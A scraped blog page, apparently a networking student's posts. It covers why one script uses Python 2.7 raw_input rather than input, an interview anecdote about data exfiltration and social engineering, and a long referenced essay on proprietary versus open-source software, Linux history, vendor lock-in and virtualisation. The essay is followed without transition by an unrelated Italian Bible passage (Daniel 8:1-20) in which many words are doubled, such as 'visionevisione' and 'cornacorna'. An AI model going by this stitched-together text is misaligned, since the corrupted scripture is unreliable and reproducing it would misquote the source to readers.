The Linux script runs on Python 2.7 as this is the version most commonly pre-installed on Linux distros.
The linux script uses raw_input instead of input as input contains an eval function hiding behind it which may lead to a possible code injection vulnerabilities when used in python 2.7.
The Windows script uses Python 3 as most windows users will need to manually install Python and it makes sense for them to use the most recent version.
The Windows script uses input as Python 3 does not have the same code injection vulnerability risk
Linux, Python 2.7 script. GitHub.
Windows, Python 3 script. GitHub
IPv4LinuxNetwork SecurityPythonscriptsSecurityThreat Intelligencewindows
Data Communications, General, Security
Keep It Simple Stupid
June 18, 2015 Thomas Leave a comment
I wanted to share this excellent article that I read on linkedin recently. It is by Professor Daniel Solove. In the artical he discuss a recent hacking scandal involving a US baseball team. He talks about what can be considered a ‘hack’ and who can be considered a ‘hacker’ then clears up a number of common misconceptions about network security. Not all ‘hacks’ are sophisticated or technical.
I had an interview recently and I was asked about how I would go about exfiltrating data. I launched into a long winded technical answer talking about port scanning, exploiting code and avoiding IDS’s etc etc.
When I got out the interview and was driving home it suddenly hit me that what I should have said was; target the human attack vector by using good old social engineering.
Some hacks may not be sophisticated, but that isn’t always a bad thing. I truly believe the first rule of network security should always be “Keep it simple, stupid!”.
This applies for both offensive and defensive security. That is not to say that simplicity should come at the expense of functionality, all security goals should still be fully achieved, but achieved as simply as possible.
As Einstein succinctly put it “Everything should be made as simple as possible, but not simpler”.
Network Securitynetworking
General, History, Linux, Protocols, Security, UNIX, Windows
A Brief History of Proprietary and Open Source Software
Definition of Proprietary Software
The word ‘proprietary’ is defined by Oxford Dictionaries as “Relating to an owner or ownership” (Oxforddictionaries.com, 2014). In a 2004 (updated in 2005) report on the definition of proprietary software The Linux Information Project (LINFO) explained that proprietary software “is software that is owned by an individual or a company (usually the one that developed it). There are almost always major restrictions on its use, and its source code is almost always kept secret.” (Linfo.org, 2014) The restrictions described by LINFO are what allow proprietary software to be used as commercial products. Companies that develop proprietary software or buy the Intellectual property to it, exert complete control over it; they maintain, update and fix bugs in house.
Most software typically demands that end users or organisations agree to a Licence Agreement. For a proprietary product this is an electronic contract that usually prohibits the reselling, copying or profiteering from the software. In many cases the license only allows for the use of the software and not ownership. Licensing options for software can allow end users the use of proprietary components at no monetary charge; Adobe Flash being a common example of free to use proprietary software. (Adobe,2014) Licensing for proprietary software can be complex, especially when purchased for enterprise environments. Microsoft is an example of a software vendor that offers an array of complex licensing structures. (Microsoft, 2014) The number of instances allowed, time limits, limits on what physical location the software can be used in, who can and who cannot use it can all be tightly regulated by a proprietary software vendor.
Definition of Open Source Software
Open Source Software (OSS) is defined by the Open Source Initiative as; “software that can be freely used, changed, and shared (in modified or unmodified form) by anyone. Open source software is made by many people, and distributed under licenses that comply with the Open Source Definition.” This definition is a list of ten requirements that software must comply with to be considered open source. In addition to the characteristics already listed, the Open Source Definition also ensures that OSS does not discriminate to persons or groups, fields of endeavour and is technology neutral. (Opensource.org, 2014) The full list is as follows;
1.Free Redistribution: Non-restrictive licence.
2. Source Code: Must include source code.
3. Derived Works: Must allow derived works
4. Integrity of Author’s Source Code: May require derived works to change from original name.
6. No Discrimination Against Fields of Endeavour
7. Distribution of License: License must apply to everyone,, without the need of a further licence.
8. Licence Must Not be Specific to a Product: Licence must not be tied to a distribution.
9. License Must Not Restrict Other Software
10. License Must Be Technology-Neutral
(Opensource.org, 2014)
Andrew M.St. Laurent states in his book Understanding Open Source and Free Software Licensing that “The fundamental purpose of open source software licensing is to deny anybody the right to exclusively exploit a work” (St. Laurent, 2008), to this end there are a number of standard OSS licences that can be used when redistributing OSS. The most widely used OSS licence is the GNU General Public License (GPL) 2.0. (Blackducksoftware.com, 2014) The Open Source Initiative name the following licences as the main open source licences;
BSD 3-Clause “New” or “Revised” license
BSD 2-Clause “Simplified” or “FreeBSD” license
GNU General Public License (GPL)
GNU Library or “Lesser” General Public License (LGPL)
Mozilla Public License 2.0
Common Development and Distribution License
The model of OSS used with licences such as the GNU GPL allow end users and organizations to forgo many of the complexities and costs involved with proprietary software. Additionally as the source code is public, any individual can; add features, improve stability, correct bugs and security flaws. For many enterprise level OSS there can be the option to pay for support. This provides support at a monetary cost, an example of this is Red Hats support model. (Red Hat, 2014) Additionally OSS generally has free support via the use of; documentation, IRC services, mailing lists and various other community driven support services. (Debian.org, 2014)
History of UNIX and the Move to Open Source (GNU/Linux)
In July 1974 Dennis M Ritchie and Ken Thompson of AT&T Bell Laboratories published a white paper describing an interactive, multi user, Operating System (OS) called The UNIX Time-sharing System (UNIX). (Ritchie and Thompson, 1974) UNIX was robust and versatile, it was portable so could be used on range of devices, programs could be written and ran on UNIX to carry out a vast array of tasks. Before UNIX most programs made use of punch cards that were used as the input for mainframe computers that would then decode them and execute the program.
UNIX was a proprietary OS, but was developed with a spirit of openness, in 1979 Dennis Ritchie stated “What we wanted to preserve was not just a good environment in which to do programming, but a system around which a fellowship could form. We knew from experience that the essence of communal computing . . . (was) to encourage close communication.” (Ritchie, D. 1979) UNIX was licenced to a number of organisations who produced UNIX derivatives, one notable example was the University of California’s Berkeley Standard Distribution (BSD) which along with Bell Laboratories own System V became two of the main branches of UNIX variants.
Commercialisation and Standardisation
By the mid eighties UNIX had been fully commercialised and there were many vendors offering their own UNIX derivatives, each of them effectively being a unique proprietary system. (Unix.org, 2014) In 1984 a collection of vendors formed the X/Open consortium with an aim of creating a series of standards allowing a degree of interoperability between the proprietary UNIX derivatives. The formation of the X/Open consortium would lead to the publishing of The Single UNIX Specification (SUS) collection of standards. (Love, 2013) Incorporated into the SUS family of standards was the POSIX (Portable Operating System Interface uniX) standards. POSIX standardised a number of interfaces including Application Programming Interfaces (API), how shells interface with the UNIX kernel and various other OS Utilities. (Standards.ieee.org, 2014) (Unix.org, 2014)
The SUS and POSIX standards laid out in the Institute of Electrical and Electronics Engineers (IEEE) standards along with the commercialisation of UNIX led to UNIX veering away from the spirit of openness that Denis Ritchie has spoken about in 1979. (Negus and Bresnahan, 2012) The ever increasing restrictiveness of UNIX variants and commercialisation of UNIX made UNIX OS’s less available. This contributed to the increased prominence of the free software community.
Free software has been part of modern computing almost since its inception, technology was developed in advanced research and development laboratories run by organisations like Universities, Corporations and Governments. Although much of this technology, including computer hardware and software was developed under strict secrecy, a substantial portion of it was shared between academics and researchers. This allowed for a greater pool of minds to contribute to improving the hardware and software. (Ceruzzi, 2003) It was in this spirit that movements dedicated to allowing users and organizations to use, study and modify free software arose. By 1983 an individual called Richard Stallman had become a leading proponent of free software, on the 27th of September 1983 he announced the GNU Project. (Gnu.org, 2014)
Richard Stallman states that the GNU Project is primarily a political project. (Stallman, R. 2008) Its political ideology is that all software should be free, the project set out to create a completely new OS free of any proprietary code or software. In 1984 the project began work on a Unix-like OS complete with “kernel, compilers, editors, text formatters, mail software, graphical interfaces, libraries, games and many other things” (Gnu.org, 2014) The building of an entirely new Unix-like OS proved to be a complex task. UNIX and Unix-like OS’s are modular by design. The GNU project set about replacing each of the components one by one. Along with a small number of already existing free components, for example the X windows system, the OS’s took shape. (DiBona, Ockman and Stone, 1999) By 1992 the GNU Project had replaced all major components of UNIX in the GNU OS apart from the kernel. The GNU project was developing a kernel called GNU Hurd. (Gnu.org, 2013) GNU Hurd was not a stable kernel due to it still being in development, in 1991 the Linux kernel was published on Usenet. Soon the Linux kernel would become the de-facto kernel for the GNU OS. (Gnu.org, 2014)
Linus Torvalds was a computer science student at the University of Helsinki in 1991, as part of his studies he enrolled in a UNIX module. (Richardson, 1999) His participation on this module introduced Torvalds to UNIX, specifically the Digital Equipment Corporation’s (DEC) variant of UNIX called Ultrix. (Torvalds and Diamond, 2001) In order to continue his studies and to indulge his computer programing hobby at home, Torvalds purchased a PC and installed a Unix-like OS called Minux. Using Minux as its basis Torvalds began work on his own kernel, this kernel would later be named Linux. (Linuxfoundation.org, 2014) On the 26th of August 1991 Torvalds published a post on the comp.os.minux Usenet group announcing “I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) . . . I’d like any feedback on things people like/dislike in minix . . . I’d like to know what features most people would want.” (Torvalds, L.B 1991) The kernel had been designed around the Intel 386 and utilised many features specific to that CPU, this lead Torvalds to believe that the kernel was not portable. But with assistance, ideas and code from the comp.os.minix community the kernel was developed to add portability and new features. (comp.os.minux, 1991)
From September 1991 a number of iterations of Linux were released and in March 1994 Linux 1.0 was released. In the intervening time the Linux community had grown substantially and due to the incomplete nature of GNU Hurd, Linux has become the kernel of choice for the GNU OS. The Linux kernel allowed the GNU OS to be a full OS free of proprietary code thus fulfilling the original vision set out by the GNU Project. (Negus and Bresnahan, 2012)
Torvalds distributed Linux under the GNU GPL, thus enabling individuals and groups to further develop Linux. The Linux kernel was used as the basis of many OS, each with their own unique configuration and bundled software packages, these would become known as distributions often referred to as distros. Due to the Linux only comprising the kernel and many of the overlaying software components being from GNU, many distributions are referred to as GNU/Linux. Today there are over six hundred Linux distributions. (Futurist.se, 2014)
Linux is considered both free software and OSS. GNU consider the word free to be defined as “freedom”, thus allowing a user to have complete freedom over the software. For example Google’s Linux based Android OS has its source code open and is therefore OSS, but restricts users and developers to using certain components without being able to remove or modify them, therefore Android cannot be considered as free software, despite it being licenced under the Apache 2.0 software license. (Gnu.org, 2014) (Gilbertson, 2010) Debian Linux conversely explicitly sets out to meet the OSS definition. (Debian.org, 2015) Linus Torvalds embraced this subtle difference, he asserted that Open Source principles did not clash with commercialisation, in his keynote speech to the 2000 LinuxWorld Expo Torvalds stated “It is not the point of Linux to be uncommercial” (Theregister.co.uk, 2000)
Commercialisation of Linux Support
Due to the diversity of individuals and groups developing Linux a number of early distributions formed the platform for further distributions to be developed upon. Distributions such as Debian and Red Hat were two major platforms to form the basis for new distributions. The primary difference being the package management systems used by each distribution. (Packman.linux.is, 2014) A secondary difference was the target market, Debian was dedicated to providing a free OS with free software packages for all users, as a Unix-like OS it is versatile and configurable, and is one of the most used distributions for the Apache web server. (Debian.org, 2014) Red Hat Linux was developed for enterprise environments. (Redhat.com, 2014) Red Hat Linux’s developers; Red Hat, pioneered the support model for OSS. Founded in 1993 the business steadily grew, in 1999 Red Hat floated on the New York Stock Exchange and set an all-time record for a technology IPO. (Redhat.com, 2014) In 2012 Red Hat became the first Linux based company break the Billion US dollar mark for annual earnings. (Vaughan-Nichols, 2012) By 2014 they had diversified the range of products and services they offered including their flagship Red Hat Enterprise Linux (RHEL), an enterprise level OS that comes in a number of varieties and configurations for both servers and clients. Red Hat support large scale enterprise networks, one of the software packages they support is Red Hat Directory Server (RHDS), a directory database that makes use of Lightweight Directory Access Protocol (LDAP) to provide authentication, access control and other management features. (Redhat.com, 2014) Although Red Hat is open source it does protect its software via the use of the Red Hat trademark, this restricts redistribution of Red Hat Products. (Redhat.com, 2014) Despite this and due to its open source nature there are many Open Source and free alternatives to Red Hats enterprise level software. For example the Fedora and CentOS distributions are both forked from red hat, and RHDS is used as the basis for 389 Directory Server. (Fedora, 2014)
Red Hat recorded revenue of 1,534.615 Billion US dollars in 2014. (Sec.gov, 2014) These stats make Red Hat the most successful Linux based company, but they are not the only company that offer Linux based software for free with a support and certification model, Canonical and Novell have also experienced success with similar business models. This support model in now over 20 years old, Peter Levine a lecturer at both MIT and Stanford argues that the support model is outdated, he points out that Red Hat’s success is dwarfed by that of proprietary rival Microsoft whose revenue in 2014 was 86.83 Billion US dollars. (Microsoft.com, 2014) Levine argues that lack of investment, forking development and even the fact that the code is open is holding back the Open Source community from competing with major corporations such as Microsoft. (TechCrunch, 2014)
Commercialisation of Linux as a Service
Support is not the only way that Linux has been commercialised, many organisations including some the biggest name in the technology sector use Linux as the backbone to both their internal and external infrastructure. Major corporations contribute to the Linux kernels, Microsoft who have products in market that are in direct competition with Linux added 1% of the code in 2012. Dozens of other organisations are also on the list of contributors, The Linux foundation estimated in 2012 that 75% of contributors were being paid for their work. (The Linux Foundation, 2012)
The code Microsoft added to the kernel was driver software enabling Linux OS’s to have increased performance when used in Microsoft’s virtualisation products. (microsoft, 2014) As the support business model for commercialising Linux plateaued, virtualisation was a leading technology in allowing a new business model to evolve; Linux as a Service. In 2007 Red Hat announced a new version of RHEL that allowed individuals and corporations to rent servers by the hour. The servers were not physical servers but virtual servers held in a remote location, colloquially known as cloud computing. The OS for the servers could be from a range of vendors, and included proprietary serves such as Windows Server, UNIX and Linux servers, in the majority of cases they are installed on hardware running a Linux based hypervisor. (Judge, P. 2007) This service was a joint enterprise with Amazon and formed the basis for Amazon Elastic Compute Cloud (Amazon EC2), and is now the world’s largest cloud service provider. (Darrow and Darrow, 2014) Amazon are not alone in offering Linux based cloud services, many of their competitors offer similar services such as Infrastructure, Platform and Software as a Service (collectively known as XaaS), IBM, HP Google are just a few of examples.
OpenStack is the defacto standard cloud platform for enterprise environments with hundreds of companies using it worldwide. OpenStack is an OSS stack that allows the deployment of service based technologies. The OpenStack project is maintained by the OpenStack Foundation which includes over 200 corporations such as AT&T, Red hat and Canonical. (Openstack.org, 2014) The 2014 OpenStack survey clearly demonstrated that Linux based technologies are dominating the XaaS sector; KVM and Xen are the most widely used hypervisors on OpenStack. Open vSwitch and Linux bridge are the most used network drivers. 95% of organisations are using OpenStack to deploy Linux desktop OS’s as Platform as a Service (PaaS), with 40% deploying Ubuntu, 26% CentOS and 14% RHEL. Various other distributions make up the rest. Microsoft Windows only accounted for 5% of the organisations surveyed. (OpenStack, 2014)
Linux is not only the dominant platform for XaaS, Linux based technologies are used for a wide variety computing solutions. According to the Linux Foundation “Linux powers 98% of the world’s supercomputers, most of the servers powering the Internet, the majority of financial trades worldwide and tens of millions of Android mobile phones and consumer devices.” (Linuxfoundation.org, 2014)
Proprietary Network Technologies
Proprietary software (PS) designed for enterprise scale networking is available for all major server platforms. UNIX, Windows and Linux all have PS packages to carry out networking tasks. This software can range from PS packages that either standalone products or part of a package of products that are included as part of a server OS platform. Additionally proprietary hardware can have a proprietary OS with a mix of OSS and PS installed on it. One example of this is Cisco’s router and switch products, which run the Cisco IOS OS, and supports a range of open and proprietary protocols and protocol extensions. (Cisco, 2014)
Microsoft as an Example
One of the largest vendors of proprietary server software is Microsoft, who in 2013 saw their revenue from their Server and Tools division grow by 9% compared to the year before, to US$20,281,000,000. (Tanner Helland, 2013)(Microsoft, 2014) In 1993 Microsoft released Windows NT 3.1 Advanced Server (Theregister.co.uk, 2014), this product was Microsoft’s first server branded operating system released by Microsoft, and the first to use NT, which semi-officially stands for ‘New Technology’. NT would go on to form the basis for all of Microsoft’s client and server OS’s. At the heart of NT was a monolithic kernel that allowed Windows to be platform independent and which enabled software and hardware portability. (Zachary, 1994)
Microsoft began producing new variants and iterations of their server OS’s, as time went on new features and proprietary versions of general network software was included; in 1994 Windows NT 3.5 Advanced Server Microsoft included an implementation of DNS called Microsoft DNS (Richter, 1995), and a web server called Internet Information Services (IIS) was included as an option in version 3.51. (Microsoft, 1997) In 1999 Microsoft released Windows 2000, Windows 2000 had a number of server branded variants, that included software packages Routing and Remote Access Services (RRAS), IPSec support, and a directory service called Active Directory (AD). (Technet.microsoft.com, 2014)
AD is an enterprise level directory service that is one of the key components in a Windows Domain. Every Windows Server fulfilling the role of a Domain Controller (DC) has an up to date copy of the AD database. AD provided central administration, authentication for what it calls objects. Objects can be device accounts, users accounts and groups. As with Microsoft’s other products AD has evolved, new features and functions have been added, for example in Windows Server 2008 added the functionality to have Read-Only Domain Controllers (RODC), a RODC only holds a read only copy of the Active Directory database, this is designed to be used in locations where security may not be optimal. (Minasi, 2010) In Windows Server 2012 the ability to clone Domain Controllers and rapidly deploy virtual Domain Controllers, each with a copy of the AD database, was added. (Mackin and Thomas, 2014)
AD employs platform independent standards and open source technologies. LDAP, is an application layer protocol that allows AD to add and retrieve information from its directory. For authentication Microsoft extended the authentication protocol Kerberos. Microsoft’s extension to Kerberos was published as a memo by the Internet Engineering Task Force in Request for Comment (RFC) 4757. (IETF, 2014)
Vendor Lock-In
Microsoft pursues what is known as a Vendor or Proprietary Lock-In strategy. This is achieved by producing a large amount of proprietary software, internet browser plugins, file types, Application Programming Interfaces, extensions and protocols. As a result of this Microsoft has a rich and diverse eco-system of enterprise products that are designed to work seamlessly with one another that in many cases are difficult or impossible to be used in a non-Microsoft environment. (Le Concurrentialiste, 2014) In a 1997 memo to Bill Gates that was published in the 2002 European Commission report on Microsoft’s business practices, Microsoft’s C++ general manager Aaron Contorer, praised the Windows API and how it had helped to lock in independent software developers into using Microsoft products despite “our mistakes, our buggy drivers, our high TCO, our lack of a sexy vision at times, and many other difficulties” he concluded his memo with “In short, without this exclusive franchise called the Windows API, we would have been dead a long time ago.” (Michael Parsons, 2004)
Microsoft are not alone in employing a lock-in strategy, many vendors of PS and services use a similar model to lock customers into their range of products. Cisco switches and routers support a range of networking protocols, many of them open standards, on top of these open standards Cisco also offer a range of proprietary protocols and protocol extensions that are only interoperable with other Cisco devices. In some cases proprietary protocols are interoperable with Cisco hardware running a specified preceding OS version. In order to deploy the proprietary protocol a customer may need to update the OS version on their hardware or if the hardware does not support the required OS version they may need to upgrade the hardware itself. Example is being the Dynamic Trunking Protocol (DTP) (Cisco, 2014) and VLAN Trunk Protocol (VTP)
Open Source and Proprietary Technology Comparison
It is perhaps not surprising that there is a diverse set of opinions on the subject of open source vs proprietary technology. Each has its proponents and its detractors, it is also not surprising that many of the proponents and detractors have vested interests. This is no more evident when discussing the Total Cost of Ownership (TCO) between a Microsoft Windows setup and a Linux setup. Red hat commissioned what they described as independent survey examining the TCO of RHEL and Windows Server IT infrastructure. They collected data from 21 companies they found that RHEL had a TOC that was 34% lower than that of an equivalent Windows Server set up. Included in the survey were more statistics that shed favourable light on RHEL. The survey found that compared to Windows server RHEL had 46% lower software costs, 41% lower staffing costs, and 64% less down time. (Redhat, 2013)
Microsoft have themselves published papers pertaining to the TCO of running a Windows Server based domain. A 2006 paper published by the corporation, they mate reference to a survey carried out by the META group that had found “that higher staffing costs for Linux-based solutions offset any potential upfront savings in acquisition costs relative to Windows Server”. The paper follows the theme of asserting that Windows Server offers lower TCO than Linux equivalents and provides a better return on investment than Linux. (Microsoft, 2006)
Finding non-partisan information can be difficult, for example a report by Vital Wave Consulting from 2008, found that Windows and Linux offer the same TCO in emerging markets, however Vital Wave Consulting were commissioned by Microsoft to investigate and report on the subject. (zdnet, 2008) Conversely a 2005 report commissioned by IBM put the TCO of a Linux server deployment at an estimated 40% less than that of Windows Server. At the time of the report IBM were involved in commercial tie ups with open source vendors such as Redhat and Novell. (PC Pro, 2014)
The Harbin Institute of Technology, a research university based in Harbin, Weihai, Shenzhen, China published a paper in 2012 titled “Survey and comparison for Open and closed sources in cloud computing”, in this they concluded that in terms of cost open source technology offered better value, but that open source documentation is often inaccessible to novice users. (Nadir K.Salih, Tianyi Zang, 2012)
TCO can be a major factor when a business is making decisions, this perhaps provides some basis as to why finding independent information is difficult. Other areas however have had more impartial research carried out on them. One of these areas is security. Mikko Hypponen an award winning security researcher gave an interview on cybercrime in 2010, he was asked to compare Open Source and proprietary software to which he replied “The truth is that pretty much nobody looks at source code and tries to find bugs. In that way, the ‘theory of many eyes’ doesn’t work.” he continued by stating that the big difference was that only the proprietary software vendor can fix bugs in their software, but open source software can be fixed by anyone, which in general allows for security holes to patched up quicker. (Technewsworld.com, 2014)
In an in depth 2009 report on servers, infoworld suggested that the market was dividing into two distinct categories; Windows and Linux, it quoted Jim Zemlin, executive director of the Linux foundation as saying “The key here is that really Linux and Windows are moving away from the pack here and it’s becoming a two-horse race”. The article also suggests that heterogeneous infrastructure was becoming standard, citing Red Hat marketing director Nick Carr who states that Windows based Exchange (Email), SQL, file and Print servers are common on RHEL infrastructure. Dr. Roy Schestowitz a proponent of Linux is also quoted as saying “Increasingly, such servers that run in mixed environments rely on virtualization”, this was in relation to Linux based networks running Windows based virtual machines. (Krill, 2014)
An article published on business technology website Techradar Pro in 2014 by David Barker, technical director of 4D Data Centres, offered a balanced comparison between the two server platforms. The article puts forward that most system administrators are comfortable with both Windows and Linux and that deciding on what server OS to use is need specific. Barker suggests that the life cycle intended for server can be a critical factor, pointing out that Microsoft will end mainstream support for its Windows Server 2008 product. He goes on by stating that if the server is on physical hardware it is likely that it would need to preplaced in this time frame anyway.
Barker echoes Dr. Schestowitz’s statement about virtualisation allowing for a heterogeneous network environments by pointing out that Microsoft has partnered with open source organisation to enable hyper-V management of open source nodes. Barker also echoes Red Hats Nick Carr Linux systems can co-exist with Microsoft systems. (Barker, 2014)
End Users and Changing Technology
An end user can be defined as any human that uses a computer, end users can range from system administrators to the office typists. Each user has a set of requirements and it is the job of ICT to meet these needs, however these needs must be met within the requirements of the organisation and budgetary restrictions. (Corbett et al., 2013) An organisation may choose to change its base technology for a number of reasons, for example it may decide to go open source and replace proprietary technology, as the City of Munich did, in a project called Limux. (Linuxjournal.com, 2015) Peter Hoffman who led the City of Munich’s Limux project to switch to open source technology stated that the main reasons for the switch was to save money and halt the ever increasing lock in to Microsoft products. (Kent, 2013)
One issue that was never explicitly stated in the Limux project was the end user experience. Users were considered in the project plan, but only in calculations for retraining staff and cost of technical support staff. (Saunders, 2014)
A 2014 report by Nick Heath of Tech Republic suggest that Limux end user dissatisfaction with the changes from a Windows based OS to a Linux based OS may have triggered a review of the project, this was denied by the Munich City Council, although council spokesperson Stefan Hauf did concede that there has been negative feedback on certain aspects of the change to open source.
Hauf stated that “the primary gripe being a lack of compatibility between the odt document format used in OpenOffice and software used by external organisations. Munich had been hoping to ease some of these problems by moving all its OpenOffice users to LibreOffice”, (Heath, 2014) this compatibility issue appears on the face of it to be symptom of the vendor lock in the project was attempting to rid itself of. What must not be over looked is the disgruntlement of the end user. This could lead to frustration and discourage end users to embrace the new technology.
The Practice of System Administration published by Addison Wesley in 2007 asserts that ICT is there to serve the needs of end users. ICT exists because of users and not vice versa. It tempers this somewhat by going on to assert that the ‘customer is always right’ attitude is also not correct.
The book proposes that System administrators must view end users as ‘business partners’ consulting them on any change that may be proposed before proceeding with it. With administrators and users working together the needs of the organisation and the end users are best met. (Limoncelli, Hogan and Chalup, 2007)
Award winning magazine NAWIC published an article by Fred Ode the founder and CEO of Foundation Software. The article included five tips to avoid end user rejection of new technology. This supported The Practice of System Administrations assertion that users must be included in the process. It also proposed that a number of factors relating directly to the end user should be considered when implementing change of the ICT infrastructure, these suggestions included; considering the skill level of the end users and providing appropriate training to end users. Ode suggests that the majority of users are in general resistant to change, with a small number being open to change, ode says “The key is to identify innovators and early adopters and get them involved in the training process, so they can help excite and educate other users”. (F, Ode. 2008)
Virtualisation is the creation in software of a simulation of a range of computing resources either in part or in whole. This simulation can virtualise both hardware and software. (Servervirtualization., 2014) The origins of virtualisation date back to the late 1960’s. IBM multiuser mainframes employed virtualisation techniques on memory. This was to allow for the efficient use of resources of the mainframe when running multiple simultaneous users. (Docs.oracle.com, 2014) Over the next 30 years development of technologies including virtual memory, hypervisors and application virtualisation were invented and/or refined. (Everythingvm.com, 2014)
A paper published in 1974 by Gerald J. Popek and Robert P. Goldberg entitled Formal Requirements for Virtualizable Third Generation Architectures laid out a method to ascertain if a (third generation) system architecture was capable of virtualisation. The paper described various VM concepts, which they describe as “an efficient, isolated duplicate of a real machine.” (Popek and Goldberg, 1974) The methods described in the paper can still be used as a guideline for virtualisation requirements. Prof. Douglas Thain of the University of Notre Dame, Indiana USA, described the paper as “the most important result in computer science ever to be persistently ignored”. Prof. Douglas breaks the paper down into two basic principles, a sensitive instruction and the privileges instruction. (Thain, 2010) The Popek and Goldberg paper describes what it terms as a Virtual Machine Monitor (VMM), VMM’s are now more commonly known as Hypervisors. Hypervisors can be categorised into two broad categories, type 1 and type 2. (Popek and Goldberg, 1974) (Portnoy, 2012)
Type 1: Also known as Bare Metal and Native. Type 1 hypervisors are installed directly onto the underlying hardware. A basic micro-kernel usually sits below the hypervisor to interact with the physical hardware. The type 1 hypervisor manages and abstracts all hardware from the overlaying virtualised systems.
Type 2: Type 2 hypervisors are installed on to a conventional host OS as a program. Type 2 hypervisors are generally not used in scalable enterprise environments. (Portnoy, 2012)
In the late 1990’s, VMWare’s Dan Wire described “a revolution with virtualization”. What Dan was referring to was the founding in 1998 of VMWare, and the release of VMWare workstation. (Wire, D. 2013) VMWare workstation allowed for the running of a Virtual Machines (VM), a virtualised PC and OS running inside and using the resources of a physical host PC. VMWare workstation was not the first product to market to allow for this, Apple had implemented a similar system with Virtual PC, but VMWare Workstation was the first major commercially available product of this type. (Everythingvm.com, 2014)
As of 2015 VMWare are the industry leader in enterprise virtualisation solutions. (VMWare, 2015) VMWare’s main enterprise virtualisation product range is called vSphere. vSphere is a collection of components that form a complete virtualisation platform, allowing for the creation of and management of VM’s. The vSphere range of products are available in 3 tiers, with each preceding tier having less functionality. (VMWare, 2015)
VMWare have a number of competitors, Microsoft have a similar product range that is tightly integrated with their Windows Server products called Hyper-V. (Finn, 2013) Citrix have a range of products based around the open source Xen hypervisor. (Citrix.com, 2015) These are just two examples of competing enterprise class hypervisor products that position themselves in the same market segment as VMWare’s vSphere. (Paul, 2014)
The open source project KVM (Kernel-based Virtual Machine), is a free hypervisor that can form the basis of full virtualisation platform running on a Linux based system. KVM was originally developed by Qumranet who were taken over by Red Hat, Red Hat now oversee the project. (Linux-kvm.org, 2015) KVM is a Linux kernel module that converts the system into a type 1 hypervisor. (IBM. 2015) This module was integrated into the mainline Linux Kernel in 2007, its ability to support virtualisation is depended on compatible virtualisation extensions being present on the host CPU. (Linux-kvm.org, 2015)
KVM can be combined with other open source projects, such as QEMU which provides device emulation and user-space functionality and libvirt an API which provides a variety of tools such as management interfaces. (Libvirt.org, 2015) Together a feature rich and efficient virtualization platform is formed.
KVM and VMWare are two very different propositions, VMWare fits the definition of a traditional type 1 hypervisor, KVM redefines this slightly with its integration directly into the host OS Kernel. (Linux-kvm.org, 2015) Both offer a complete suite of enterprise level functionality, but achieve their end goal in a different manner.
VMWare is a homogeneous system, each component is designed to work seamless with the rest of the platform. The disadvantage of VMWare is cost, functionality comes at a price. (Vmware.com, 2015) KVM when combined with QEMU and libvirt is heterogeneous, a wide variety of features can be installed and configured as and when needed at no cost. It may not always be the case that each feature has been fully tested or is stable when integrated to the platform. Supporting the platform may require specialists or support contracts which could mitigate against the zero cost benefits of the software. (Redhat.com, 2014)
Active Directorycomputer networkingGNUKVMLinus TorvaldsLinuxNetwork SecuritynetworkingQEMUred hat linuxRichard StallmanTCPunixVMWare
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Kapitola 1 Kapitola 2 Kapitola 3 Kapitola 4 Kapitola 5 Kapitola 6 Kapitola 7 Kapitola 8 Kapitola 9 Kapitola 10 Kapitola 11 Kapitola 12
Italian: Riveduta Bible (1927)
1 Il terzo anno del regno del rere Belsatsar, io, Daniele, ebbi una visionevisione, dopodopo quella che avevo avuta al principio del regno.
2 Ero in visionevisione; e, mentre guardavo, ero a Susan, la residenza reale, che è nella provincia di ElamElam; e, nella visionevisione, mi trovavo presso il fiume Ulai.
3 Alzai gli occhiocchi, guardai, ed ecco, ritto davanti al fiume, un montonemontone che aveva due cornacorna; e le due cornacorna erano alte, ma una era più alta dell’altra, e la più alta veniva su l’ultima.
4 Vidi il montonemontone che cozzava a occidente, a settentrionesettentrione e a mezzogiorno; nessuna bestia gli poteva tener fronte, e non c’era nessuno che la potesse liberare dalla sua potenza; esso faceva quel che voleva, e diventò grande.
5 E com’io stavo considerando questo, ecco venirevenire dall’occidente un capro, che percorreva tutta la superficie della terraterra senza toccaretoccare il suolo; e questo capro aveva un cornocorno cospicuo fra i suoi occhiocchi.
6 Esso venne fino al montonemontone dalle due cornacorna che avevo vistovisto ritto davanti al fiume, e gli s’avventò contro, nel furore della sua forza.
7 E lo vidi giungere vicino al montonemontone, pieno di rabbia contro di lui, investirlo, e spezzargli le duedue cornacorna; il montonemontone non ebbe la forza di tenergli fronte, e il capro lo atterrò e lo calpestò; e non ci fu nessuno che potesse liberare il montonemontone dalla potenza d’esso.
8 Il capro diventò sommamente grandegrande; ma, quando fu potente, il suo gran cornocorno si spezzò; e, in luogo di quello, sorsero quattroquattro cornacorna cospicue, verso i quattroquattro venti del cielocielo.
9 E dall’una d’esse uscì un piccolo cornocorno, che diventò molto grande verso mezzogiorno, verso levante, e verso il paese splendido.
10 S’ingrandì, fino a giungere all’esercitoesercito del cielocielo; fece cader in terraterra parte di quell’esercitoesercito e delle stellestelle, e le calpestò.
11 S’elevò anzi fino al capocapo di quell’esercitoesercito, gli tolse il sacrifizio perpetuo, e il luogo del suo santuario fu abbattuto.
12 L’esercitoesercito gli fu datodato in mano col sacrifizio perpetuo a motivo della ribellione; e il corno gettò a terraterra la veritàverità, e prosperò nelle sue imprese.
13 Poi udii un santosanto che parlava; e un altro santosanto dissedisse a quello che parlava: "Fino a quando durerà la visionevisione del sacrifizio continuo e la ribellione che produce la desolazione, abbandonando il luogo santosanto e l’esercitoesercito ad essere calpestati?"
14 Egli mi dissedisse: "Fino a duemila trecento sere e mattine; poi il santuariosantuario sarà purificato".
15 E avvenne che, mentre io, Daniele, avevo questa visionevisione e cercavo d’intenderla, ecco starmi ritta davanti come una figura d’uomo.
16 E udii la vocevoce d’un uomo in mezzo all’Ulai, che gridò, e dissedisse: "Gabriele, spiega a colui la visione".
17 Ed esso venne presso al luogo dove io stavo; alla sua venutavenuta io fui spaventato, e caddi sulla mia faccia; ma egli mi dissedisse: "Intendi bene, o figliuol d’uomo! perché questa visionevisione concerne il tempotempo della fine".
18 E com’egli mi parlava, io mi lasciai andare con la faccia a terraterra, profondamente assopito; ma egli mi toccò, e mi fece starestare in piediin piedi.
19 E dissedisse: "Ecco, io ti farò conoscereconoscere quello che avverrà nell’ultimo tempo dell’indignazione; poiché si tratta del tempo fissato per la fine.
20 Il montonemontone con due cornacorna che hai veduto, rappresenta i rere di MediaMedia e di Persia.
